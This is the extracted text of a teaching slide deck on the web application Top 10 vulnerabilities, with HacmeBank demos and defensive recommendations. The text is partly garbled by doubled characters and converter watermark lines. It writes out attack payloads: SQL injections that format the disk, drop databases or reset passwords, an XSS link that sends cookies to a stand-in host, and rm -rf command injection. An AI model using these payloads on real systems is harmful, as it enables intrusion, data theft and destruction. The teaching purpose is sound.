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AgendaAgenda

Why web application risks occurWhy web application risks occur

Web application exploitsWeb application exploits

Web application vulnerabilities Web application vulnerabilities –– Top 10Top 10

Live hacking examplesLive hacking examples

CountermeasuresCountermeasures
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Any layer is potentially vulnerable to attack!
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What is Web Application What is Web Application 
Security?Security?

It is not network Security !!!It is not network Security !!!

ItIt’’s not about Firewalls, Intrusion Detection s not about Firewalls, Intrusion Detection 
Systems, Operating System Hardening, Systems, Operating System Hardening, 
Database Hardening, etc.Database Hardening, etc.

Network Security Mostly Ignores the Contents Network Security Mostly Ignores the Contents 
of HTTP Trafficof HTTP Traffic

Common myth Common myth –– ““We have a firewall !We have a firewall !““
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What is Web Application What is Web Application 
Security?Security?

It is:It is:
Securing the Securing the ““custom codecustom code”” that drives a web that drives a web 
applicationapplication

Securing backend systemsSecuring backend systems

Securing web and application serversSecuring web and application servers

Securing the users !!!Securing the users !!!

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



application security layerapplication security layer
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Growing concernGrowing concern
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Vulnerability distributionVulnerability distribution
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Why Web ApplicationWhy Web Application Risks Risks 
OccurOccur

Programmers donProgrammers don’’t always have security in t always have security in 
mindmind
code is not written according to best code is not written according to best 
SECURITY practicesSECURITY practices
Many system administrators believe that Many system administrators believe that 
once their operating system is patched they once their operating system is patched they 
are secureare secure

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



Security Professionals Security Professionals 
Are Not DevelopersAre Not Developers

Security is considered an Security is considered an ““ITIT”” issue.issue.
Security personnel donSecurity personnel don’’t always have t always have 
applicative background.applicative background.
Lack of awareness of application Lack of awareness of application 
vulnerabilities in security teamsvulnerabilities in security teams
Lack of effective testing tools for audits Lack of effective testing tools for audits 
and Certification and Accreditation and Certification and Accreditation 
ProgramsPrograms
Development cycle missing from Development cycle missing from 
security procedures and auditssecurity procedures and audits
Security focus on the network and the Security focus on the network and the 
server. The application layer is missing.server. The application layer is missing.
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what the attacker can what the attacker can 
do to your systemdo to your system

Authentication Breach / Privilege EscalationAuthentication Breach / Privilege Escalation
Customer Impersonation & Information DisclosureCustomer Impersonation & Information Disclosure
Proprietary Business Data Theft  (Latest TrojanProprietary Business Data Theft  (Latest Trojan……))
DefacementDefacement
Command executionCommand execution
Replay AttacksReplay Attacks
Order TamperingOrder Tampering
Internal system disclosure (OS, DB, FS..)Internal system disclosure (OS, DB, FS..)
Application and System Configuration DisclosureApplication and System Configuration Disclosure
Source Code Disclosure and TamperingSource Code Disclosure and Tampering
Root compromise Root compromise --> > Further network breachesFurther network breaches
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Web ApplicationWeb Application
Vulnerabilities in DepthVulnerabilities in Depth

Build it And the Attacker Build it And the Attacker 
will come !will come !
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Common believesCommon believes……

A hidden field is really hidden.
A drop down select box cannot have any other 
value than the one displayed in the browser
When the menu does not show a functionality it 
means you cannot run it
Cookies are different from any other input
Encoding (Hexadecimal, base64, etc.) 
is some form of encryption
Putting the wrong security feature, getting 
a false sense of security.

And more…
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ToolsTools……..

Interactive web proxies
Burp (java)

Paros (java)

Spike (python)

Decompilers
jad (java)

Reflector (.NET)

Encoders and decoders for
MIME, base64, uuencode, hexadecimal
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Attack topologyAttack topology
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HacmeBankHacmeBank --
Example applicationExample application

DEMODEMO

Link: Link: 
http://www.foundstone.com/resources/frehttp://www.foundstone.com/resources/frehttp://www.foundstone.com/resources/frehttp://www.foundstone.com/resources/fre
etooldownload.htm?file=hacmebank.zipetooldownload.htm?file=hacmebank.zip
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Top 10 Web Application Top 10 Web Application 
Vulnerabilities Vulnerabilities –– the the ““holesholes””
1.1. UnvalidatedUnvalidated inputinput
2.2. Broken access controlBroken access control
3.3. Broken account/session      Broken account/session      

managementmanagement
4.4. CrossCross--site scripting flawssite scripting flaws
5.5. Buffer overflowsBuffer overflows
6.6. Injection flawsInjection flaws
7.7. Error handling problemsError handling problems
8.8. Insecure storage/use of cryptographyInsecure storage/use of cryptography
9.9. Denial of serviceDenial of service
10.10. Insecure configuration managementInsecure configuration management

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



1

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



UnvalidatedUnvalidated inputinput

HTTP requests are the basic HTTP requests are the basic 
communication form between the browser communication form between the browser 
and the web applicationand the web application

URL, URL, QuerystringQuerystring, Form Fields, Hidden , Form Fields, Hidden 
Fields, Cookies, HeadersFields, Cookies, Headers

Web apps use this information to generate Web apps use this information to generate 
web pagesweb pages

Attackers can modify anything in requestAttackers can modify anything in request
ClientClient--side validation is irrelevant !!!!side validation is irrelevant !!!!
Input must be validated on the server side (not Input must be validated on the server side (not 
just the client side).just the client side).
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Attacker can easily change any part of the HTTP Attacker can easily change any part of the HTTP 
request before   submitting !!request before   submitting !!

The attacker will try to:The attacker will try to:
•• Cause errors to occur and give up infoCause errors to occur and give up info

•• Buffer overflowBuffer overflow

•• Modify parametersModify parameters

•• Bypass logic checksBypass logic checks

Common attacks:Common attacks:

•• Modifying URLModifying URL
•• SQL InjectionSQL Injection

•• Cross Site ScriptingCross Site Scripting

•• Session hijacking with cookie modificationSession hijacking with cookie modification

UnvalidatedUnvalidated inputinput
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UnvalidatedUnvalidated input vulnerability: input vulnerability: ““Input Input 
manipulationmanipulation””
Change the parameter in URL or hidden Change the parameter in URL or hidden 
parameter in a form:parameter in a form:

Buy a computer with $1.00, this actually works Buy a computer with $1.00, this actually works 
if no server side checksif no server side checks

An eAn e--shoplift example:shoplift example:

<form name=checkout action= <form name=checkout action= http://www.test.com/cgihttp://www.test.com/cgihttp://www.test.com/cgihttp://www.test.com/cgi--bin/checkout.aspbin/checkout.asp
method=post>method=post>

<type=button name=category_ID value=2><type=button name=category_ID value=2>

<type=hidden name=price value=1.00><type=hidden name=price value=1.00>

<type=summit name=summit, value=buy><type=summit name=summit, value=buy>

UnvalidatedUnvalidated inputinput
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Money withdraw becomes a depositMoney withdraw becomes a deposit……
Getting a zero percent loans..Getting a zero percent loans..

Changing cookies and becoming the Changing cookies and becoming the 
application administrator!application administrator!
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UnvalidatedUnvalidated input vulnerability: input vulnerability: ““SQL SQL 
InjectionInjection””
A little more difficultA little more difficult

Insert SQL statement where they do not Insert SQL statement where they do not 
sufficiently validate  inputsufficiently validate  input

Vulnerable application code will forward the Vulnerable application code will forward the 
malicious statement to the databasemalicious statement to the database

Database is executes the modified Database is executes the modified 
statement and sends the results back to the statement and sends the results back to the 
useruser

UnvalidatedUnvalidated inputinput
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SQL Injection Attack #1SQL Injection Attack #1
Developer Developer concateconcate SQL statementsSQL statements

Hacker types: Hacker types: ‘‘ or 1=1 or 1=1 ----

Result is the first database entry, maybe Result is the first database entry, maybe 
the Admin!the Admin!

string sql = "select * from Users where 
user ='" + User.Text + "' 
and pwd='" + Password.Text + "'"

string sql = "select * from Users where 
user =' ' or 1=1 --' and pwd=''"

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



SQL Injection Attack #2SQL Injection Attack #2
Take over controlTake over control

User types: ; User types: ; xp_cmdshellxp_cmdshell 'format  c: /q /yes 'format  c: /q /yes 
'; drop database '; drop database myDBmyDB; ; ----

Result: Hacker can do everythingResult: Hacker can do everything
SQL process runs with system privilegesSQL process runs with system privileges

select * from table where id=1;
xp_cmdshell 'format  c: /q /yes ';
drop database myDB; --

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



DemoDemo

SQL Injection:SQL Injection:
'; update '; update fsb_usersfsb_users set password='123456' set password='123456' 
where where login_idlogin_id='victim'='victim'----

'; insert into '; insert into fsb_usersfsb_users
values(values(‘‘newuser',newuser',‘‘newuser','mypass',GETDAnewuser','mypass',GETDA
TETE())())----

'; delete '; delete fsb_usersfsb_users where where login_idlogin_id==‘‘newusernewuser''----
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UnvalidatedUnvalidated input lead to other types of input lead to other types of 
attacks.attacks.
““Cross site scriptingCross site scripting”” (XSS) (XSS) 
Path traversal: Path traversal: ““../../””
LDAP injectionLDAP injection
Buffer overflowBuffer overflow

UnvalidatedUnvalidated inputinput

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.
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Broken Access ControlBroken Access Control
ItIt’’s all about Authentication and s all about Authentication and 
authorizationauthorization

Authentication flawsAuthentication flaws

Authorization flawsAuthorization flaws
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Examples:Examples:
Forced browsing past access control checksForced browsing past access control checks

““/client/client”” is checked for access controlis checked for access control
““/client/client1/data/client/client1/data”” is notis not
If someone guesses the full URLIf someone guesses the full URL……. (. (““no one no one 
knows, itknows, it’’s secure!s secure!””))

Path traversal Path traversal (../../../)(../../../)
SQL Injection always true expression (or SQL Injection always true expression (or 
1=11=1……))
Client side Client side authorizationauthorization–– in the hands of the in the hands of the 
client !!!client !!!
File permissions File permissions –– may allow access to may allow access to 
configconfig/password files/password files

Broken Access ControlBroken Access Control
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Accessing other users account detailsAccessing other users account details

Direct call to admin section URLDirect call to admin section URL

authentication authentication bypass(SQLbypass(SQL injection):injection):
Always true expression Always true expression 

Forceful ending Forceful ending 
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Two main issues, credential management Two main issues, credential management 
and session hijackingand session hijacking

Flawed credential management functions:Flawed credential management functions:
Password changes (expiry, etc)Password changes (expiry, etc)

Sniff or crack password/token generationSniff or crack password/token generation
Forgot my password Forgot my password –– passwordpassword resetreset

Forgot my password Forgot my password –– passwordpassword mailingmailing

Broken Account and Broken Account and 
Session ManagementSession Management
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Session ManagementSession Management
HTTP is a HTTP is a ““statelessstateless”” protocol and does not protocol and does not 
offer session managementoffer session management. . 

Web apps need to keep track of which Web apps need to keep track of which 
request came from which user request came from which user –– SessionIDSessionID..

ItIt’’s not about the session object !s not about the session object !

Session Hijacking Session Hijacking -- Big vulnerability !Big vulnerability !

Broken Account and Broken Account and 
Session ManagementSession Management
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Insecure session management by using Insecure session management by using 
cookiescookies..

DemoDemo
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CrossCross--Site Scripting (XSS)Site Scripting (XSS)
Web browsers execute code sent from Web browsers execute code sent from 
websiteswebsites

HTMLHTML

JavascriptJavascript

Flash, etc. Flash, etc. 

send malicious code to other userssend malicious code to other users

the attacker is using the website to forward the attacker is using the website to forward 
an attack!an attack!
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CrossCross--Site Scripting (XSS)Site Scripting (XSS)

<a href=

http://http://www.insecuresite.com/welcome.awww.insecuresite.com/welcome.a
sp?name=

<FORM 
action=http://http://www.badsite.com/data.aspwww.badsite.com/data.asp

method=post id=“idForm”>
<INPUT name=“cookie”

type=“hidden”> 
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie

; 
idForm.submit();

</SCRIPT>>

here</a>
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2 types of XSS:2 types of XSS:
Stored Stored 

Reflected Reflected 

Easy to locateEasy to locate

sometime the links are obfuscatedsometime the links are obfuscated

TrustTrust

CrossCross--Site Scripting (XSS)Site Scripting (XSS)

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



particularly dangerous for logic 
manipulation:
“login”or “logout”page.

“lost password”
“reset password request”page.

“relogin”

CrossCross--Site Scripting (XSS)Site Scripting (XSS)
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Using XSS to manipulate:Using XSS to manipulate:
Read/Set arbitrary variablesRead/Set arbitrary variables

Read/Set contents of documents (and forms)Read/Set contents of documents (and forms)

Form submission (POST/GET)Form submission (POST/GET)

Possible to download binary content (XMLHTTP)Possible to download binary content (XMLHTTP)

Leverage nonLeverage non--cookie based trusts cookie based trusts –– potential potential 
escalation of privilegeescalation of privilege

Steal cookies.

Bottom line – attacker becomes part of your 
site!

CrossCross--Site Scripting (XSS)Site Scripting (XSS)
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XSS attack vectors:
Trick the user to give them their credentials

Modify the appearance of the site.

phishing

Defacement

Execute all sorts of malicious java-script 
code.

HTTP Proxy

DOS/DDoS attacks

Transfer victim to other XSS vulnerable sites

CrossCross--Site Scripting (XSS)Site Scripting (XSS)
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Using XSS to steal a user cookie and Using XSS to steal a user cookie and 
perform session hijacking perform session hijacking 

Prevent legitimate users from using the Prevent legitimate users from using the 
hacmebankhacmebank site  (while true injection)site  (while true injection)
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Buffer OverflowsBuffer Overflows
Sending a larger buffer than expectedSending a larger buffer than expected

Overwrite stack return address web applicationOverwrite stack return address web application

C and C++ code is vulnerable to buffer overflowsC and C++ code is vulnerable to buffer overflows

Managed code like .NET/Java are safeManaged code like .NET/Java are safe
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Computer Memory Usage:Computer Memory Usage:

Buffer

Local Variables

Return Address

Attack Code

String fills
This way

Stack fills
this way

Buffer OverflowsBuffer Overflows
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Example Code:Example Code:

void function(char *str) {void function(char *str) {
char buffer[16];char buffer[16];
strcpy(buffer,str);strcpy(buffer,str);

}}

void main() {void main() {
char large_string[256];char large_string[256];
int i;int i;
for( i = 0; i < 255; i++)for( i = 0; i < 255; i++)
large_string[i] = 'A';large_string[i] = 'A';

function(large_string);function(large_string);
}}

Buffer OverflowsBuffer Overflows
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Generally very small chance of success
Firewall will prevent connect-back most of 
the times.
Failed buffer overflows often lead to 
application DoS.

Buffer OverflowsBuffer Overflows
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Buffer overflowBuffer overflow
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Injection FlawsInjection Flaws

Web applications pass malicious parameters toWeb applications pass malicious parameters to
OS shell commandsOS shell commands

External programsExternal programs
Ping $Ping $paramparam

SendmailSendmail $$paramparam

Delete (; Delete (; rmrm ––rfrf /)/)

DB systems DB systems –– SQL injection SQL injection 

‘‘ ; exec ; exec master..xp_cmdshellmaster..xp_cmdshell ‘‘format c: format c: ‘‘----
Backend / Legacy systemsBackend / Legacy systems

malicious commands is executed on behalf of the malicious commands is executed on behalf of the 
web application.web application.
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Add new administrator to the Add new administrator to the DataBaseDataBase OSOS

DemoDemo
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Error HandlingError Handling
Errors occur in web applications all the timeErrors occur in web applications all the time

Out of memory, too many users, timeout, db Out of memory, too many users, timeout, db 
failurefailure

Authentication failure, access control failure, Authentication failure, access control failure, 
bad inputbad input

Error details reveal enormous information Error details reveal enormous information 
regarding the internal systemregarding the internal system

Stack tracesStack traces

Debug messages Debug messages 

OS error code (file location on disk)OS error code (file location on disk)
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Error HandlingError Handling
Attacker will take advantage of error Attacker will take advantage of error 
conditions that occur during normal conditions that occur during normal 
operation that are not handled properly. operation that are not handled properly. 

Expose internal system detailsExpose internal system details

Inconsistencies can be revealing tooInconsistencies can be revealing too
““File not foundFile not found”” vs. vs. ““Access deniedAccess denied””
““Wrong passwordWrong password”” vs. vs. ““Login failedLogin failed””

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



give enough info to user w/o giving too give enough info to user w/o giving too 
much info to attacker.much info to attacker.

Internal log fileInternal log file

can be dealt at the application &  can be dealt at the application &  
server level server level 

Error HandlingError Handling
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 Full path names 
revealed

 Field Name

 Table Name

 Database Name
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Exposing internal system information Exposing internal system information ––
table column enumerationtable column enumeration
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Insecure StorageInsecure Storage

Sensitive information sometimes stored in Sensitive information sometimes stored in 
cleartextcleartext

Web applications should use cryptography  Web applications should use cryptography  
to protect information.to protect information.

Do not even think about inventing a new Do not even think about inventing a new 
algorithm (except if youalgorithm (except if you’’re a math/computer re a math/computer 
science science profprof……))
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Common pitfallsCommon pitfalls……
No encryption at all, insecure storage of credit No encryption at all, insecure storage of credit 
cards, passwords, etc.cards, passwords, etc.

Poor choice of algorithm (or invent your own)Poor choice of algorithm (or invent your own)

Poor randomnessPoor randomness

Session IDsSession IDs

TokensTokens

CookiesCookies

Insecure storage of encryption keys!Insecure storage of encryption keys!

Insecure StorageInsecure Storage
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Security through obscurity doesnSecurity through obscurity doesn’’t work!t work!

Rethink whether you Rethink whether you needneed to store the to store the 
information, or use information, or use hashinghashing instead.instead.

The The ““master secretmaster secret”” can be split into two can be split into two 
locations and assembledlocations and assembled

Configuration files, external servers, within Configuration files, external servers, within 
the codethe code

Enter the master key at system load timeEnter the master key at system load time

Insecure StorageInsecure Storage
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Expose passwords of other usersExpose passwords of other users
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Denial of serviceDenial of service

–“It’s always easier to destroy than to build…”

Common Denials of Service:
Recursive operation
Extremely long timeouts
Blocking operations
Buffer overflows
Xss example – hacme bank..

while (true){}
while (true){alert();}
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Distributed Denial of Service Distributed Denial of Service 
((DDoSDDoS) Networks) Networks
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Delete a specific user (competent?)Delete a specific user (competent?)

Change password for a specific userChange password for a specific user

Delete all the tables/databaseDelete all the tables/database……
Format the server HDFormat the server HD
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Insecure configuration Insecure configuration 
managementmanagement

All web and application servers have many All web and application servers have many 
securitysecurity--relevant configuration optionsrelevant configuration options

Default accounts and passwordsDefault accounts and passwords
Unnecessary default, backup, sample apps, Unnecessary default, backup, sample apps, 
librarieslibraries
Overly informative error messagesOverly informative error messages
MisconfiguredMisconfigured SSL, default certificates, selfSSL, default certificates, self--
signed signed certscerts
Unused administrative servicesUnused administrative services
Default directoriesDefault directories

Not all of them have been hardenedNot all of them have been hardened……
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Some examples:Some examples:
The IIS default installation directories:The IIS default installation directories:

iisamplesiisamples, msadc, iishelp, scripts, printers, msadc, iishelp, scripts, printers

Fronpage default installation directories:Fronpage default installation directories:
\\inetpubinetpub\\wwwroot, wwwroot, \\inetpubinetpub\\wwwrootwwwroot\\_vti_pvt_vti_pvt\\, , 
\\inetpubinetpub\\_vti_log_vti_log\\

Apache default directories:Apache default directories:
/cgi/cgi--binbin

Coldfusion default directories:Coldfusion default directories:
/cfide/cfide

Insecure configuration Insecure configuration 
managementmanagement
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Most of trivial Most of trivial breakinsbreakins can be stopped can be stopped 
by proper configurationby proper configuration

DonDon’’t do default installations!t do default installations!

Insecure configuration Insecure configuration 
managementmanagement
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Connection string is unprotected by Connection string is unprotected by 
default in default in web.configweb.config

Evaluation notes were added to the output document. To get rid of these notes, please order your copy of ePrint IV now.



Conclusion – Some Statistics 

Percentage of Internet applications..

Of which we managed to find something that 
could seriously damage an organization: 
100%

Of which we managed to expose personal or 
financial information: 100%
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Some statistics..Some statistics..
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Help!Help!

WHAT TO DO????WHAT TO DO????
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A Simple Program for Getting A Simple Program for Getting 
HealthyHealthy

Training (Training (““it all starts at education..it all starts at education..””))
Read the Top Ten paper!Read the Top Ten paper!
Get developers trained in web application Get developers trained in web application 
securitysecurity
Try Try HacmeBankHacmeBank / OWASP / OWASP WebGoatWebGoat to learn to learn 
how flaws workhow flaws work

PolicyPolicy
Write down the security rules for your Write down the security rules for your 
applicationapplication

ReviewsReviews
Get expert code review and penetration test Get expert code review and penetration test 
periodicallyperiodically
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A Call To Arms!A Call To Arms!
CustomersCustomers

Demand web applications that donDemand web applications that don’’t have t have 
these ten simple problemsthese ten simple problems

DevelopersDevelopers
Take responsibility for securing your codeTake responsibility for securing your code

Software Development OrganizationsSoftware Development Organizations
Guarantee that your web applications donGuarantee that your web applications don’’t t 
have the top ten flawshave the top ten flaws

EducatorsEducators
Start teaching the secure coding!Start teaching the secure coding!

Project ManagersProject Managers
Split your security budget between network Split your security budget between network 
and applicationand application
Make security part of developer performance Make security part of developer performance 
reviewsreviews
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most important principlemost important principle……

First and most important application security First and most important application security 
principle:principle:

The application must The application must 
defend itselfdefend itself ! !
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The solution The solution -- Designing Designing 
Secure ApplicationsSecure Applications
Input ValidationInput Validation

AuthenticationAuthentication

AuthorizationAuthorization

Configuration ManagementConfiguration Management

Sensitive DataSensitive Data

Session ManagementSession Management

CryptographyCryptography

Parameter ManipulationParameter Manipulation

Exception ManagementException Management

Auditing and LoggingAuditing and Logging
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Protecting the layersProtecting the layers
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Questions ?Questions ?
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What weWhat we’’ve talked aboutve talked about……
Application risksApplication risks

What is a vulnerability?What is a vulnerability?
What is an exploit?What is an exploit?

Attack examplesAttack examples
Finding a vulnerabilityFinding a vulnerability
Turning a vulnerability to exploitTurning a vulnerability to exploit
Using exploits to hack the systemUsing exploits to hack the system

Defending the applicationsDefending the applications
Security starts at designSecurity starts at design
Budget for security testingBudget for security testing
Security in the hands of developersSecurity in the hands of developers
Secure programming is (relatively) simpleSecure programming is (relatively) simple
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Thank you !Thank you !
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